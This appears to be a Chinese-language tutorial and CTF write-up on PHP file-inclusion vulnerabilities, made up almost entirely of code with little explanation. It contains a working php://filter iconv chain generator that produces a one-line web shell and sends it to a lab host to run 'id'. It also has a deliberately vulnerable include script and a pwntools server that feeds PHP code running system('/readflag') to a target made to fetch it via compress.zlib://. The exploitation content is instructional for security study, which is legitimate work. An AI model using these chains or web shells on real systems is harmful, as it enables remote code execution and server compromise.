2024全网最全面及最新且最为详细的网络安全技巧 九之文件包含漏洞典例分析POC；EXP以及 如何防御和修复[含PHP源码和CTF精题WP详解]（2）—— 作者：LJS

<?php
$a = "\x1bY\xffQ\xfa";              //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));

// string(1) "a"

include "php://filter/convert.base64-decode/resource=./e";

// the content of e: PD9waHAgcGhwaW5mbygpOw==
// base64 code of `<?php phpinfo();` is: PD9waHAgcGhwaW5mbygpOw== (without the backquote)

<?php
$url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text";
echo file_get_contents($url);
// Output:
// some+ADwAPg-text

$url = "php://filter/";

$url .= "convert.iconv.UTF8.CSISO2022KR";

$url .= "/resource=data://,aaaaaaaaaaaaaa";     //我们这里简单使用 `data://` 来模拟文件内容读取。
var_dump(file_get_contents($url));

// hexdump:
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 1b 24 29 43  |string(18) ".$)C|
// 00000010  61 61 61 61 61 61 61 61  61 61 61 61 61 61 22 0a  |aaaaaaaaaaaaaa".|

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  31 29 20 22 09 a6 9a 69  |string(11) "...i|
// 00000010  a6 9a 69 a6 9a 69 a6 22  0a                       |..i..i.".|

$url = "php://filter/";
$url .= "convert.iconv.UTF8.CSISO2022KR";
$url .= "|convert.base64-decode|convert.base64-encode";
$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 43 61 61 61  |string(12) "Caaa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

$url = "php://filter/";
$url = $url."convert.iconv.UTF8.CSISO2022KR";
$url = $url."|convert.base64-decode|convert.base64-encode|";

$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
// $url = $url."|convert.base64-decode|convert.base64-encode";

$url .= "/resource=data://,aaaaaaaaaaaaaa";
var_dump(file_get_contents($url));

// hexdump
// 00000000  73 74 72 69 6e 67 28 35  32 29 20 22 38 01 fe 00  |string(52) "8...|
// 00000010  43 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |C...a...a...a...|
// 00000020  61 00 00 00 61 00 00 00  61 00 00 00 61 00 00 00  |a...a...a...a...|
// *
// 00000040  22 0a                                             |".|

// 起用了注释那一行后，即还原到 Base64 之后的 hexdump:
// 00000000  73 74 72 69 6e 67 28 31  32 29 20 22 38 43 61 61  |string(12) "8Caa|
// 00000010  61 61 61 61 61 61 61 61  22 0a                    |aaaaaaaa".|

<?=`$_GET[0]`;;?>

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";

// echo $final_payload;
var_dump(file_get_contents($final_payload));
echo file_get_contents('http://192.168.174.130:8088/index.php?action=include&file='.urlencode($final_payload).'&0=id');
// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

<?php
declare(strict_types=1);

// 生成一个随机的目录名称，并创建该目录
$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir'); // 如果创建目录失败，则输出错误信息并终止脚本

// 设置环境变量 TMPDIR 为刚创建的目录路径
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv'); // 如果设置环境变量失败，则输出错误信息并终止脚本

// 输出欢迎信息，包含用户提交的名字和随机目录路径
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";

try {
    // 读取用户提交的文件内容，若文件内容中不包含 '<?'，则包含该文件
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }
}
finally {
    // 删除随机创建的目录及其所有内容
    system('rm -rf '.escapeshellarg($rand_dir));
}

location /.well-known {
  autoindex on;
  alias /var/www/html/well-known/;
}

php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
                              zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
    ...
    // 检查路径是否以 "compress.zlib://" 开头
    // 如果是，将路径指针移动到 "compress.zlib://" 之后的位置
    if (strncasecmp("compress.zlib://", path, 16) == 0) {
        path += 16;
    }
    // 检查路径是否以 "zlib:" 开头
    // 如果是，将路径指针移动到 "zlib:" 之后的位置
    else if (strncasecmp("zlib:", path, 5) == 0) {
        path += 5;
    }

    // 打开指定的路径，使用给定的模式、选项和上下文
    // 这里使用的选项包括 STREAM_MUST_SEEK（流必须支持定位）和其他传入的选项
    innerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context);
    ...
    return NULL; // 返回 NULL，表明函数没有返回有效的 php_stream 对象
}

/* If you are going to end up casting the stream into a FILE* or
 * a socket, pass this flag and the streams/wrappers will not use
 * buffering mechanisms while reading the headers, so that HTTP
 * wrapped streams will work consistently.
 * If you omit this flag, streams will use buffering and should end
 * up working more optimally.
 * */
#define STREAM_WILL_CAST                0x00000020

PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
        zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
    // 省略部分代码，用于打开文件流

    // 如果流不为空且选项中指定了必须可寻址
    if (stream != NULL && (options & STREAM_MUST_SEEK)) {
        php_stream *newstream;

        // 尝试将流转换为可寻址的
        switch(php_stream_make_seekable_rel(stream, &newstream,
                    (options & STREAM_WILL_CAST)
                        ? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE))
        {
            case SUCCESS:
                // 如果转换成功，更新流
                stream = newstream;
                break;
            case FAILURE:
                // 如果转换失败，执行错误处理逻辑
                // 错误处理代码省略...
                break;
        }
    }

    // 省略处理流的代码

    // 返回最终的流
    return stream;
}

/* {{{ php_stream_make_seekable */
PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
    // 如果 newstream 为 NULL，返回失败
    if (newstream == NULL) {
        return PHP_STREAM_FAILED;
    }
    *newstream = NULL;  // 初始化 newstream 为 NULL

    // 如果没有强制转换的标志，且原始流已经支持寻址操作
    if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
        *newstream = origstream;  // 将 newstream 设置为原始流
        return PHP_STREAM_UNCHANGED;  // 返回流未发生变化
    }

    // 如果需要创建一个新的临时流
    if (flags & PHP_STREAM_PREFER_STDIO) {
        *newstream = php_stream_fopen_tmpfile();  // 创建临时文件流
    } else {
        *newstream = php_stream_temp_new();  // 创建新的临时流
    }

    // 省略将原始流内容复制到新流的逻辑

    // 返回成功
    return PHP_STREAM_SUCCESS;
}
/* }}} */

#define PHP_STREAM_PREFER_STDIO     1

from pwn import *
import requests
import re
import threading
import time

# 定义一个函数，用于发送分块数据
def send_chunk(l, data):
    l.send('''{}\r
{}\r
'''.format(hex(len(data))[2:], data))

while(True):
    # 监听 9999 端口并等待连接
    l = listen(9999)
    l.wait_for_connection()

    # 定义三个数据块，每个块填充到 8KB 大小
    data1 = ''.ljust(1024 * 8, 'X')  # 用 'X' 填充到 8KB
    data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b')  # 代码块，执行命令，填充到 8KB
    data3 = 'c*/'.rjust(1024 * 8, 'c')  # 结束代码块，填充到 8KB

    # 接收 HTTP 请求头
    l.recvuntil('\r\n\r\n')
    
    # 发送 HTTP 响应头，指定分块传输编码
    l.send('''HTTP/1.1 200 OK\r
Content-Type: exploit/revxakep\r
Connection: close\r
Transfer-Encoding: chunked\r
\r
''')

    # 发送第一个数据块
    send_chunk(l, data1)

    print('waiting...')
    print('sending php code...')

    # 发送包含 PHP 代码的第二个数据块
    send_chunk(l, data2)

    # 暂停 3 秒
    sleep(3)

    # 发送包含结束 PHP 代码的第三个数据块
    send_chunk(l, data3)

    # 发送结束标志，表示所有数据块已发送完毕
    l.send('''0\r
\r
\r
''')
    
    # 关闭连接
    l.close()

if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }

# 构造数据部分
data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
# 发送 POST 请求
r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}'''.format(len(data), data))